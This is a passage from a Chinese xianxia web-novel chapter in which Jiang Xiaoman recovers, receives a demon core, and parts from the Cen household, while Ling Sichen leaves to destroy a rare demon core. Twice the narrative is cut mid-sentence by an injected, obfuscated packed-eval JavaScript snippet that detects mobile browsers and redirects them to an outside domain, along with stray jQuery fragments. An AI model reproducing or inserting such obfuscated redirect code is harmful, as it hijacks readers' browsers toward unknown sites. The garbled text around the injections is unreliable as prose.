碧春则点点头,手中则搅动着药汁,“是呀。公子指导我们熬药,他自己则一直寸步不离地照顾姑娘……还有二小姐也担心得不行呢,如今姑娘可算醒了,我也得赶紧告诉她才是。” 姜小满脑子嗡嗡的,努力消化着她这些话语,试图和那位“死板”的凌二公子建立联系。但无论怎么想都觉得很不可思议,愣是半晌说不出话来。 但听碧春提及岑兰,她不免又回想起昨夜的惊险刹那,岑兰那被魔缠身时翻白眼吐白沫的模样如噩梦般重现,心中更是忐忑不安。 她平复了几下呼吸,轻声问道:“阿兰……还好吗?” 碧春悠悠笑道:“二小姐没事,如今正忙于翠微苑修葺重建之事,姑娘无需挂心。”言罢,她舀了一勺药汤,喂至姜小满嘴边,“姑娘,来。” 姜小满迟疑着尝了一口,立马吐了出来,好苦。 碧春放下药碗,用绢帕替她擦去溅在唇边的药汁。 “所谓良药苦口嘛,公子特意嘱咐,一定要让姑娘饮完这药。” 碧春还想再喂她,姜小满连连摆手,示意让她自己来。 于是碧春也没再坚持,末了,指了指那药碗旁的一只小瓶子。“对了,还有这个。公子说,一定要让姑娘服下。” 姜小满遂拿起那袖珍瓶子,细细端详。 碧春道:“这是公子特意给姑娘炼制的丹药。” 姜小满疑惑地拔开瓶塞闻了闻,刺鼻的气味扑面而来,她不禁皱眉,脸都扭曲成了一团。妈呀,这气味不是那青竹玉露霜吗,这也能熬成丹药给人吃? 她又觉不对,思索道:丹药?丹炉不是不能用了吗,如何熬的丹药? 碧春素来机灵,看姜小满的神情便知她在疑惑什么。 她笑答:“老夫人可是翻遍了库房,没想到当时竟还真留了几块灵石。于是赶紧让丹炉重新上工,缺的药引和灵材都是马叔快马加鞭去镇上买回来的。” 姜小满点点头,心中忽觉一阵暖意涌动:老夫人一向排斥仙家,今竟愿主动相助,却不知自己昏睡期间,凌司辰与她道了些什么。 方才听见马护院的名字,不禁又忆起昨夜之事。 她嘴里念叨着:“马护院……” 碧春明白过来:“马叔已经去县衙自首了。不过,他托我向姑娘道声谢谢。” 姜小满脸颊一红,怔怔半晌,心中波澜起伏。这还是她第一次得到凡人的感谢……这也算是,终于成为一个合格的仙门弟子了吧。 说来,马护院此人,行事凶狠残暴、犯了杀人罪孽,但给她的感觉,却并非是一个恶人。究其原因,大概是他杀人为的是报仇雪恨、铲除奸佞,而非是为了一己恶念残杀无辜。 ……那魔呢?魔杀人,是因为恶念吗? 她被自己这个疯狂的念头吓住。她怎会这样想?魔当然是恶了,残杀无辜凡人、掀起混乱之火,这世上就没有比魔更恶之物了——这是仙门从小便教给她的观念,亦是所见所闻之事实,她又怎可去质疑。 碧春的声音将她从混乱的思绪中拉了回来。 “姑娘,公子还让我把这个也交与你。” 她说着,递过来一只小巧的锦囊,松绿色为底,银鳞花纹交织,纹理细腻如丝,一看就非是凡品。 碧春自是不认得,姜小满却一眼辨了出来:竟是灵气囊!此物在仙门虽常见,用处却并不多,十有八九是用来——装魔丹! 魔丹浓缩着整头魔怪的魔气,纵是黄级魔丹,若不聚灵气,亦不可轻易触碰、以免灼伤,有了这灵气囊却是省事多了。袋中内料乃千年雪莲芯加软化蓬莱松针,能敛藏魔气,使接触者不必耗费灵气,便是凡人亦可安然接触。 姜小满一把接过,拿到手中时,双手都在颤抖。 先是捏了捏内中形状,又迫不及待打开瞅了瞅。 只见黄玉色的水魔魔丹安静地躺在其中,散发着幽幽荧光。 姜小满怔怔看着那魔丹,忽觉鼻子一酸,心中百感交集,却强行压下涌上的泪水。 月儿已经不在了。 星儿……一定要救活星儿。 * 凌司辰出去时,恰逢一个家丁将他叫住,那人从大门方向急匆匆过来,手中递过一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|12196742|123182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 匣子,那匣子上还附着一封信。 “仙家,有人托我将这个带给您。说是十分重要的东西,一定要您亲启。” 凌司辰满腹疑惑,拆开信笺匆匆一瞥,脸色骤然大变,旋即急忙打开匣子查看。 匣子只微微打开一个缝隙,他便马上将它合住。 那股扑面溢来的魔气重得惊人。 他神色变得凝重,抬头问那家丁:“百花他人呢?” 家丁皱着眉头,却是疑惑不已:“百花先生料是出乱子的时候就逃走了……仙家为什么问这个?” 凌司辰一听不太对,忙问道:“那这东西谁给你的?” 那家丁挠挠头,道:“不认识,看着像是个异族男子。” “异族男子?” “头巾包着面,但隐约见有一头金发……” 还未等他说完,白衣剑客已一个飞身不见人影。家丁回过头,望望四周,愣愣挠挠脑袋。 凌司辰步若流星,急飞至门外。然定眼望去,眼前一条旷野大道却已不见半个人影。他仰首观天,亦是空无一物。 遂又伸手探试四周,竟寻不出半分灵气残留。 他紧了紧拳头,信纸在手中被捏出了皱褶。 正沉思间,忽见一个家丁自身后匆匆而来。他气喘吁吁:“公子,我与管事按你所说在后山等,果真又来了好多仙家!” 这点凌司辰倒不意外,估摸来人正是他所等之人。 修者御剑,自是会在最高处落地,这梅雪山庄的顶处,便是那后山。 他便暂且搁下信笺之事,随了那家丁走去,正逢曾管事领着五个人迎面而来。 左边两人他认出是自家同门,而另外三个看着却面生。 那三人与曾管事简单寒暄了几句,便急匆匆奔左院方向去了,也不知是未曾看到他,还是有急事无暇寒暄。不过,此番他倒是看清了他们的打扮,一人背鼓,一人持笙,一人抱琴,是哪个门派已不言自明。他心中一块石头随之也悄然落地,自己都未察觉地轻微一笑。 凌司辰低头自视,之前那身雪白劲装已被血浸染,便换了另一身郎中简装……也难怪那三人从他身边跑过时未曾招呼。 两位同门却认出他来,远远打着招呼便走来。 待他俩走近,凌司辰致意道:“先前接我乌鸠之信,辛苦二位了。”又环顾四周、视线游走,似在找寻什么,“兄长怎没来?” “二公子。”一人行礼道,“大漠突现地级魔,玄阳宗诸众不敌,大公子赶去那边支援了。” 另一人道:“大公子说,红云剑阵交给你来主阵,我二人辅之,已绰绰有余了。” 凌司辰闻言,先是微微一怔,尔后嘴角不由自主浮现出一丝欣喜的笑容。他复又确认道:“他真这么说?” 二人齐齐点头,他喜上眉梢,面色竟欢如孩童。 那二人对视一眼,其中一人又道:“方才听管家说,那大魔已经跑了。二公子,所以我们现在要去何处布阵?” “不用了。”凌司辰说着,打开了手中的匣子,露出了那匣中明晃晃的魔丹,“诡音已伏诛。” 二人见了此物,亦是颇为惊奇。只见这丹珠与寻常魔丹大不相同,若说黄级魔丹如鹅蛋,玄级魔丹如卵石,而这枚——却只有拇指大小。 形态虽小,那光芒却十倍于玄级魔丹,滚滚魔气包裹周身,透出一股阴冷诡异之感,令人不寒而栗。 毕竟,地级魔丹可是传说之物,能亲眼见着的,放眼整个仙门乃至仙界也没几个。 二人惊叹了一番,又注意到了他家二公子手上捏的信,好巧不巧,那封口处的花纹与那匣子如出一辙。二人虽好奇,却也知闲事不宜多问,便也只能生生忍住。 一人只道:“二公子,那我们现在是?” 凌司辰捏着信的手指一紧,眉宇罩上一层冷霜。 他又回头向左院方向看去一眼,喉结微微动了动,却终是收回了视线。只肃然道:“地级魔丹非是凡物,久留于世必生事端。你二人速随我前往昆仑,将其销毁。” “是,二公子。” 28.终焉之曲(3) 碧春不知被何事叫走了,余下姜小满独自在屋内喝药。 原本以为那药汁已经够苦,未料丹药之苦远胜之,且带着一股难闻的臭气。 这凌二公子的想法真是匪夷所思,竟用那外敷的霜露熬成内服药,难怪还带着一股酸萝卜的腐臭味。 她正准备再次啜饮,忽然一个熟悉的声音从外面叫道: “小满!” 随之门便被推开,她惊了一激灵,药汁都喷了出来。 只因那声音她不能更熟悉。 ——大,大师兄!??? 静看来人,约莫三十岁,双眉如柳,温雅明媚,鼻如雕玉,眼若繁星,身着一袭玄色长衫,腰间别一把玉箫,箫身温润剔透,与他的气质相得益彰。正是姜清竹接任宗主以来收的大弟子——人称“凤箫君子”的莫廉。 莫廉推开门便朝她这边走了过来。 姜小满吓得扑腾起来,她以为他很生气,因为大师兄这人常常看着和颜悦色的时候实则已经怒火中烧了,她咿呀哇啦发出一阵怪声:“我可以……解释!” “别说话。” 莫廉抬手打断她,径直走过来却只摸了一下她额头,又用灵气探了探她头顶、脖间穴位,随即长舒一口气,“没事就好。” 姜小满还疑惑着,紧接着门外又传来脚步声,霎时好几个人推门而入。 干瘦的秦云昭师兄道:“小满,你给我们下的什么药,劲儿太大了现在头还晕。” 胖胖的王铮师兄道:“你咋跑扬州来了——不是,你咋跑这鸟不拉屎的地儿来了!?” 圆脸的齐茵师姐则道:“嘘!你们小点声,小满师妹还在休息。” 莫廉笑笑,“这帮人寻了几天也寻不到你,碰巧我又在附近出任务,没辙,便只好来找我了。”话音未了,意识到这边不对,“怎么了小满,不舒服吗?” 呜呜呜—— 姜小满压抑不住心中的酸楚,泪水如决堤的洪水般涌出,瞬间成了泪人。 “月儿……没了……” 听她不住抽泣,莫廉沉默无言,用大手温和地拍着她的背安慰她。齐茵则过去静静抱住她,姜小满也顺势抱过师姐,哭得更厉害了。 其实她还想说的是:差点以为再也见不到你们了。 * 莫廉与三人交谈了几句。当时在城中偶遇凌家弟子,他心急如焚,未及多礼便先驱驰赶来,留下三位师弟妹与那两人寒暄。后来三人与管家细细交谈后才知晓那大魔已逃,此红云剑阵之事便不必再布于庄上了,莫廉得知后才舒了口气。 秦云昭告诉姜小满:“我们在城中碰见了岳山的人,听那两人说,他们要上山布红云剑阵,那阵仗可不得了。加之我们先前打听得知,你也一同去了山庄,这可把我们吓坏了。” 齐茵道:“是啊。不过,听说那无影刀本是建议直接下阵,还是在凌二公子几番劝说下,才答应给他七天时间。这凌二公子也是胆大,单枪匹马便进这山庄来诛魔了。” 王铮没好气道:“他是胆大了,可也不能把咱们小满忽悠上呀,这要出个三长两短,我的妈,看哥几个不把岳山掀了!” 姜小满连连摆手,“不是,不是……” 是她自己要跟来的。 她听完师兄师姐们说的话,脑子嗡嗡的,心中更是些许震惊。 原以为是凌司辰要牺牲一庄子凡人来诛灭诡音,没想到,竟然是他主动争取来的时间,让这一庄子的凡人能够活命。 …… 姜小满怔愕了半晌,便开始躁动不安起来。 她要去给他道歉,先前是她误会了他,还要道谢,若不是他舍了魔怪选择救她,她现在恐怕已经…… 对了,他人呢,现在在哪里? 他方才说要出去查探情况,他不会去追诡音了吧……他不会有危险吧? 姜小满翻身下床,却一个趔趄险些摔倒,幸而莫廉将她扶住。想来大概是躺了太久腿脚发软无力,加上先前灵力几乎被吸尽,这才让下肢一时失控。 莫廉温声道:“小满,你受了内伤,再躺会儿吧。” “不行。”她颤颤巍巍,话也说得断断续续,“我,要去,找他……” “找谁?”王铮刚说出口,便被齐茵拍了一巴掌打断。 莫廉和秦云昭则对视了一眼。 他们最终拗不过姜小满,由齐茵扶着她出了厢房。 四周破损不堪的院墙正在重建,家丁们忙碌不休,搬着砖石、木料,来回奔走于那条从后山通来的小道上,个个身上带着泥土,汗水淋漓。 行未几步,恰逢碧春往这边来。 莫廉便上前询问了几句。姜小满看着他,越看那脸色越凝重,心中便生出一丝不好的预感。 他们聊完后,碧春便告辞往后山方向去了,莫廉也转身走了回来。 姜小满显然很焦急,莫廉看了她一眼,道:“凌公子他们已经走了。” “走了!?”王铮瞪着眼睛。 ——走了?姜小满脑中一片恍惚,霎时天地俱静。 莫廉点点头,“走得很急,可能是岳山出什么事了。” “啊?方才那两人优哉游哉的模样,不像能有什么事啊。”王铮插言道。 “这就不清楚了。不过凌公子也才刚走,临走前还拉走了门前的牛车,可能确实是有什么急事吧。” 姜小满听完脑中愈发混乱,乃至莫廉说的最后几个字她都没听清。 她不由自主地捏紧了拳头。 他甚至没跟她道别。 以为把魔丹给了她,便两清了吗? 但其实,她一开始的目的,本就是魔丹不是吗? 可是,怎么感觉空落落的…… * 稍晚些,待姜小满恢复得差不多了,一行人便前往堂屋拜别岑家老夫人。 老夫人看着气色甚好,脖子上的斑鳞竟然全都康复了。 不一会儿,岑兰跑了进来,想是刚从后山忙活完,脸颊上还沾着些许泥泞。她毫不在意,这倒一点也不像大户人家的闺中小姐。 她紧紧握着姜小满的手,依依不舍道:“你要走了?” 姜小满同样不舍地点了点头。却见岑兰招唤丫鬟抱来了那架绢丝裹着的琴,看着那动作便是要交给他们一行。 莫廉皱了皱眉,上前正欲接过,却被姜小满猛地打断。她不等岑兰开口,便连连摆手道:“不行不行不行!” 依大姑的性子,送出去的东西,哪有要回来的道理! 她俩僵持了一阵,岑兰终是拗不过,沉默一阵后,便回头将琴尾的玉佩解了下来,拉过姜小满的手,塞进了她的掌心中。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|12227989|123182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“斯人无所求,却愿倾囊相助。父亲未能予之何,唯愿此物捎去慰藉。” 姜小满也不再推脱,便收下了那枚玉佩。 * 临走前,姜小满总觉得有一事未完成。 思考了半天,走至莫廉跟前,摊开手,嗯嗯哼哼了几声。 莫廉何其懂她,便从怀里熟练地摸出一张纸和一支笔。 其余三人:不愧是大师兄,准备如此充分! 姜小满麻利接过,趴在一边案上,唰唰地奋笔疾书起来。老夫人、曾管事无不好奇,纷纷侧首而观之。 她很快写完,将那满满是字的纸递给了老夫人。 老夫人接过细细品视了起来,那神情从疑惑到凝重,最终看罢后又化作温蔼一笑。 她乐呵呵道:“你们二位是真真有趣,神医……不对,那位仙家公子竟也求了老身同样的事。” 言罢,她笑容渐敛,又沉默了片刻,终是长长惋叹了一声。 老夫人似自言自语道:“我于十八岁嫁于他,终究只是父母之命,其实我一直都知道,他与我虽有夫妻之实、却从无夫妻之情。” “他不曾爱我,却从未亏待过我,言听计从、关怀备至。偶有争执,摆脸色的是我,无理取闹的也总是我。他一生对我不离不弃,然我却在他去后,仍为那自以为得不到的真心,作茧自缚至今。” 途中王铮料是没听懂,张口想说什么,却被莫廉“嘘”了一声制止了。 老夫人顿了顿,视线挪向一边的岑兰,“兰儿和秋儿的人生,也是我一意孤行规划。他反对过周远入赘,但最终还是依了我,这才酿成如今的惨剧。兰儿,你恨我吗?” 岑兰已偷偷拂了几次泪。默默走至母亲身边,紧紧握住她的手。 虽未言语,想必万般遗憾,也终于释怀。 “罢了,这段往事,也是时候放下了。”老夫人看向女儿,目光闪烁、恢复了精神气,“既然二位仙家都开了尊口,若是兰儿她愿意,天涯海角便都随她去,老身绝不会再行阻拦。” 姜小满欣喜无比,问莫廉再要了一张纸,埋头又是唰唰几笔。 这回,她将写好的纸给了岑兰。 【阿兰:我会回家为你争得拜门复试之机,你也切莫放弃。以汝之灵气,汝之琴技,想必过考易如反掌。明年二月,我会在涂州等你前来。】 二月——是姜家每年拜门考核之月。 岑兰接过,细细读罢,那面上终是破涕一笑,笑声中带着哽咽。 千言万语,泪水终滞在喉间。 她点了点头:“嗯”。 * 最后是曾管事送他们出来的。 行礼道别罢,曾管事一道佝偻之影,手中执一壶热酒,目中,送仙客五人飞天离去。 “二位替山庄除了邪魔,又用丹药治好了老夫人的顽疾。现在想来,我们排斥仙家、故步自封这么多年,最后却还是仙家出手救了我们,实在无比讽刺。大恩大情,小小山庄,无以为报。” 他喃喃念罢,只将那酒倾洒于高空,口中则高声唱道: “ 仙君踏月兮,香梅落雪。 侠士弹剑兮,魔影泣血。 素琴欲奏兮,尘缘难绝。 浊酒对饮兮,相期何月! 仙客们,保重!”